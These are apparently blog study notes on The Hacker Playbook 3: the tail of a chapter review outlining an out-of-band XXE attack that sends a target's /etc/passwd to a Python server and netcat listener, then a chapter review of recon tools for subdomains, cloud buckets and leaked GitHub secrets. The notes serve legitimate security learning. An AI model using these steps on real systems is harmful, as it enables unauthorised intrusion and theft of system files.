Here are the steps I had to take to do the XXE-OOB exploit:

  1. Create the payload file. Put in ~ or specify the directory when setting up the Python server.

  2. Start the Python server:

      //Using current directory
      python -m SimpleHTTPServer 80
      
      //Using /var/www/html or cd to /var/www/html
      pushd /var/www/html; python -m SimpleHTTPServer 80; popd
  3. Start a Netcat listener nc -lvp 8888.

  4. Deliver the payload using Burp Repeater.

  5. See the payload being accessed via the Python server.

  6. See the Base64 encoded delivery on the Netcat listener.

  7. Copy/paste into Burp Decoder to see the /etc/passwd contents.4

I’m not sure if Kim didn’t have to open up a server or just presumed the reader would know to do so. But I got it working and learned a simple way to set up a server using Python that will definitely come in handy. Had I been working from my AWS instance, I would have been fine since it’s already setup to allow access.

Lessons Learned

Cool chapter – I feel like I learned a lot about exploiting some of the newer technologies being used. It was nice to realize that I am familiar with a decent amount of the things covered or could at least connect them with other contexts. Lots of different ways of doing attacks I’ve seen before and good reinforcement. Plus some good hands-on experience with deserialization and template engine attacks. I feel like reading the chapter, then going back and doing the labs and typing my notes is working well.

Next Steps

  • Keep working on the more common web application attacks

  • Find a bug bounties to practice on

  • Keep working on the other web app hacking stuff I’m doing

  • Apply the attacks learned here to the other web app hacking labs

  • Continue working on programming skills

Posted in Blog, Resources

THP3 Ch 2 Review

Picking up with chapter 2 in The Hacker Playbook 3 by Peter Kim (ch 1 notes here). I’ll be doing most of this on the provided VM. Partly for the tools already being (mostly) there, partly because I don’t want to mess up the VMs I have set up to my liking. I’ll add the tools I like later, but I’m finding a lot of resources list tools that are no longer in Kali (like Vega). I’ve got a BlackArch VM (which comes with just about all of the things I’ve found that aren’t in Kali anymore), so I may use that to continue working with some of the tools.

Disclaimer: Criminal/unauthorized hacking bad. Jail bad. Read CFAA. IANAL. Don’t do things you shouldn’t.

Nmap diffing

This chapter starts off with Nmap, which is something I’m fairly comfortable with. But this is using it to keep track of changes on the network. Cool idea, but seems a bit noisy. The author provides a script for it. From a blue team perspective, this is something your SIEM should be able to do. I like the idea of watching a network for differences, maybe even setting up an alert to watch for a specific port or service to become available. But I also know using Nmap to scan some networks (like ICS networks) is not a good idea if you care about things staying online and functional, so looking into other options would be a good idea. Perhaps something like GRASSMARLIN would be a good option for diffing ICS and SCADA networks. I’ve used it in training, and it’s pretty slick.

Kim recommends improving on the provided Nmap script by checking different ports, doing some banner grabbing, etc. Depending on what’s on the network you are targeting, there is a good chance you may need to check something outside of the default Nmap scan, so adding some port specifics to the script would be helpful. I’ll file that away. Writing scripts is something I want to get better at, so that aspect of this this book will definitely be good for me.

Web screenshots

Some cool stuff here – HTTPScreenshot and Eyewitness are both pretty straightforward. I’m not convinced these offer a lot of utility over some of the tools discussed in Michael Bazzell’s Open Source Intelligence Techniques or available on his website, but I can see using all of the tools in different situations.

With HTTPScreenshot, I got a bad range spec for the URL I was scanning. I had it entered in the text file as specified, so that was a little frustrating. I ended up doing an nslookup to get the IP address. Shoved that into the networks file, and it worked fine. I’m not sure if you have to use an IP or CIDR notation to make it work with the ./masshttp.sh option, but that’s what I had to do. I tried doing just the httpscreenshot option, and got a permission error. I checked the permissions on the file, and I didn’t have permission to execute the file. I found that odd. I had to chmod the file, but then it worked fine.

EyeWitness worked like a charm. No issues there, but remember your scope when you are putting in your target info. This scan consists of OSINT, so it’s “ok”, but it’s something you should always be aware of.

Cloud Scanning

This is a cool section. There’s no denying the importance of cloud infrastructure. Kim noted that many tenants can use dynamic IPs, so servers may change IPs and aren’t necessarily even going to be in the same block since you can set up your instance all over the world. There are references provided for where the big cloud providers have their IP ranges (Amazon, Azure, and Google Cloud).

Network/Service Search Engines

Basically ways to find things. Shodan is cool. You do need an account to search things, and there are various levels available that allow you to do more things. I picked up a lifetime membership for $5 on Black Friday. It included an ebook on how to use Shodan, so I’ll be digging into that more. It’s a powerful tool that can provide a scary amount of info. I noticed with my initial playing around that searching by IP gives a lot of detailed info. The IP might change, but if the target is using a baseline image, getting this info on one IP may provide some good info even if the IP later changes.

Censys.io was a new one to me. It’s the same basic idea as Shodan – scan all the things. My VPS showed up here by domain quicker than it did in Shodan. Censys does not require a log in of any type, which is nice. Kim also identified a script tool available to use with Censys to find subdomains.

For both, I went through the domain in the book and my VPS domain. Then I spent some time searching different things to see what the different options are. I think the big thing with these is knowing what they are and what they can help you see so when you are working on a pen test or bug bounty you know your options.

Manually Parsing SSL Certificates

I got info on certs from both Shodan and Censys, but having a manual option is good. This was a Python scraping tool – sslScrape. It’s a neat little tool written by Kim and bbuerhaus. One thing I’m coming back to as I work through these tools is that I have to keep working on my coding skills so that I can develop my own tools.

Subdomain Discovery

Subdomains are more difficult to determine, understandably so. But the info is important because it can indicate server type, some servers don’t respond by IP, and it can give info about where servers are hosted.

Discover Scripts was the first tool. It combines all the recon tools in Kali. It has quite a few options and is still maintained as of November 2018. You can also add API keys for several tools (including Shodan) to improve the results from recon-ng. It’s not required, but would be advantageous. I’ll add that to my list of things to do… It does take the info found and dig deeper, so this is another tool where you’ll want to be mindful of scope. There is an ./update.sh script that needs to be run from within the Discover Scripts folder – be prepared to wait awhile while that runs. And by awhile, I mean start that sucker and go to lunch or something. It shouldn’t always take forever, but it can if you haven’t updated in awhile.

I found the syntax a little hard to follow from the ReadMe and the book, so I’m including it here in a way that makes sense to me. This is from download through a domain search:


git clone https://github.com/leebaird/discover /opt/discover
cd /opt/discover
./update.sh
./discover.sh
...a bunch of options
Choice:
...options for your choice
Choice:
...more options

Wait a minute and it will pop up a list of choices. They are relatively self-explanatory. Enter the number of your choice, and go through the choices as needed. For a domain passive domain scan:


cd /opt/discover
./discover.sh
Choice: 1
Choice: 1
Company:
Domain: 

Then let it do its thing. This will also take awhile (I’m sensing a theme here). You’ll get some red, generally related to not having API info. Then it pops out a report. You hit enter to open the report – be patient because (surprise!) it takes a bit of time to open the many, many associated Firefox windows. Pretty cool stuff. The report is saved to the /root/data folder for reference. I found a walkthrough from thegeeky.space that may be helpful as well.

Knock was straightforward and will accept a VirusTotal API key. This uses a wordlist to see if the subdomains resolve, so you need a comprehensive wordlist. Kim suggests one from jhaddix. There’s a SecLists listing of wordlists on github. And there are quite a few already in Kali, possibly including the SecLists one depending on your install. This one also takes awhile. You get status codes for the subdomains. I think this would be a good option to send to a file – you can save to csv (-c, –csv; -f, -csvfields to include fields in first row) or JSON (-j, –json), or use the standard > to send to a txt file. (Nice little refresher on sending output here.)

Sublist3r does some google dork style stuff to search for subdomains. I got an error about urllib3 and chardet, quick googling brought me to a solution from Gloria Palma Gonzalez, which got the job done. Skip the sudo if you are already root.


sudo pip uninstall requests
sudo pip install requests
sudo pip uninstall docopt
sudo pip install docopt

The next tool, subbrute has now been integrated into Sublis3r – just add the -b option. I found this option to be very, very slow. Sublist3r by itself ran in a minute or so, the subbrute option took longer than my patience would allow. Running it separately also took a good while. I do expect it to take time since it’s going through a huge word list, but keep in mind the run time. Whether pen testing or doing a bug bounty, time is money so pick your tools accordingly. I ended up running it in verbose mode to verify it wasn’t hanging, and that also outlasted my patience. I decided to run a time test, because I want to have an idea how long things will take. This was running on the THP3 VM as provided. I went with 100 threads and basically walked away to let it do it’s thing. It took roughly…forever. I think it hung after about 18 hours, and I ended up killing it because it wasn’t making progress. This looks like something that would be better to run from a server, but my AWS instance is (likely) not built in a way to do the job much faster. I didn’t get great results with subbrute, so I’ll be exploring other options. I found a write-up saying it took more than 15 min to scan using a Digital Ocean instance that I’m guessing based on the price given has 4 GB of memory and 2 vCPUs. If you’ve got a VPS with comparable or better specs, you may get better results.

While digging into some stuff on subbrute, I found a nice write-up on discovering subdomains by Shpend Kutishaj of Bug Crowd. It had some good background and info on other tools, including a cool script by Jason Haddix that I’ll be experimenting with.

Kim also mentions MassDNS. This was labeled as experimental in its ReadMe. It also notes that the resolvers are outdated and a lot are dysfunctional. And it may result in abuse complaints being sent to your ISP. I ran it to see what it would do, but at this point, it’s not a tool that I’m likely to keep in rotation for general labbing and playing around because of the risks. It is very fast though, so I’ll save it for specific use cases.

Github

Basically dig around on Github to see if anyone made an oops and pushed code or other sensitive data to a public repo. Search in Github or do a Google dork.

Some tools for searching Github

  • Truffle Hog – scans for high entropy keys; had to run a couple times to get it to work; probably would be a good idea to sent to file for review
  • git-all-secrets – combines open source git search tools to find all the things; requires an API token (Settings – Developer settings – Personal access tokens to generate); didn’t accept my token…

I tried several troubleshooting options with git-all-secrets. I got it to work with an API token with nothing allowed, but sometimes did have to start it a couple times. The key seems to be no spaces after the =.


docker run -it abhartiya/tools_gitallsecrets:v3 - repoURL=https://github.com/ -token= -output=results.txt

The default for output is results.txt. When I changed it I got the message panic: open : no such file or directory. Then when I tried to copy the data after completion, I got an error that the container path specified didn’t exist. I think this has to do with the container and where I was trying to put the output file. Using the default, it worked fine using Kim’s syntax:


docker cp :/data/results.txt .

But it didn’t work with the syntax from the README, which is:


docker cp :/root/results.txt .

I’m not sure if this is because of the provided VM or not. I’ll have to try on a different VM, but moving on for now. Either version would put the results file in the /opt/git-all-secrets/ directory because of how the command line interprets the . (a good primer on using the Linux CLI is The Linux Command Line by William E. Shotts, Jr. – easy to read and helps you understand what’s going on behind the scenes). If you want it elsewhere, specify your filepath.


docker cp :/data/results.txt 

For reference, info about Docker commands was helpful for understanding what’s going on if you aren’t familiar with Docker. It does seem you can use the name of the container rather than the ID in the commands, which is much easier to do. I’m not as familiar with it as I would like to be, but that’s not a squirrel I want to chase at this moment.

Cloud

When I went to use Slurp, it wasn’t on my version of the VM. Odd. So onto the google…apparently, slurp doesn’t exactly exist as linked anymore. The repo was removed by the owner. The account has been taken over by SweetRollBandit, who is using it to make a point about account takeover on Github. Checking the THP3 Updates, the repo has been copied and is now being maintained by nuncan. A bit of fiddling to get things going here based on the updates and the README.

</pre>
</div>
<div>git clone https://github.com/nuncan/slurp /opt/slurp mv slurp/vendor slurp/src export GOPATH= go build cd /opt/slurp</div>
<div>

Then search as indicated.


./slurp domain -t
./slurp keyword -t 

Bucket Finder was much more straightforward. You just have to make the list of words to search for.Take the S3 buckets found and pop in browser to see info.

For the next part, you need an AWS account. This is where things get a bit icky if you are trying to maintain op sec. To get one, you need to provide email, phone, address, and credit card info. You can sort of get around it, but that’s not something I’m comfortable with. But I’m also not going to use the security key from my AWS account for anything other than these labs without knowing a lot more about how things are tracked within AWS. Yes, it generally shouldn’t be an issue for ethical hacking, but for situations where op sec might be needed, this may be something to skip.

The tko-subs tools is interesting and straightforward. There are 2 other tools listed for domain takeovers – HostileSubBruteforcer and autoSubTakeover – but I didn’t get into either other than confirming their existence and taking a quick look at the README.

Kim ends the cloud section with a link to the flAWS challenge that is a CTF for AWS. This is something I’ll file for future usage.

Emails

Can we agree that publishing an online directory of employee emails that are the same as the username convention should be frowned upon? It’s one thing to get the format of emails – that can be helpful for social engineering and digging for more info, but having half of the login creds (provided two-factor isn’t being used), just sounds like a bad idea.

SimplyEmail worked well. No issues there. YAY! I did note that like several other tools, it’s now been tested with Docker, so Docker is definitely something to get more comfortable with as a pen tester.

Then Kim talks about past breaches. There’s a lot of stuff out there. There are good ways of accessing some of the info (like haveIbeenpwned) and not good ways (like buying the info). Keep it legal folks.

OSINT

The chapter ends with a brief mention of OSINT stuff. There’s a ton of stuff. I’m working through Michael Bazzell’s Open Source Intelligence Techniques 6th ed, which is great. I could do an entire post just on OSINT stuff that I’m finding useful, so I’ll leave that for later.

Lessons Learned

I got a ton out of this chapter. A few highlights…

  • Check syntax on a big screen where you can more easily identify spacing, etc.
  • Get both URL and IP info for targets – some tools will only accept one or the other
  • Be sure to add the URL and IP info to the hosts file if working on a test network
  • Look more into tools being presented so you understand the risks/benefits – check them out to make sure they are what they say they are (see Slurp earlier)
  • Check Kim’s updates as you go to keep an eye on changes
  • I’m amassing a ridiculous amount of info on various tools and what not and have to have a way to keep them organized and up to date
  • Taking notes in this format means I have to figure out why things aren’t working and fix the problem
  • Doesn’t look like there will be any “short” chapter notes for this book
  • Writing these in Markdown saves a stupid amount of time when posting

Next steps

  • Play around more with Shodan and Censys
  • Look into API keys for recon-ng: Bing, Builtwith, Fullcontact, GitHub, Google, Hashes, and Shodan
  • Look into API key for Knock: VirusTotal
  • Develop scheme for keeping track of tool info – check out RTFM and BTFM as potential sources, but will want something dynamic b/c Slurp
  • Figure out why WordPress didn’t like my code fences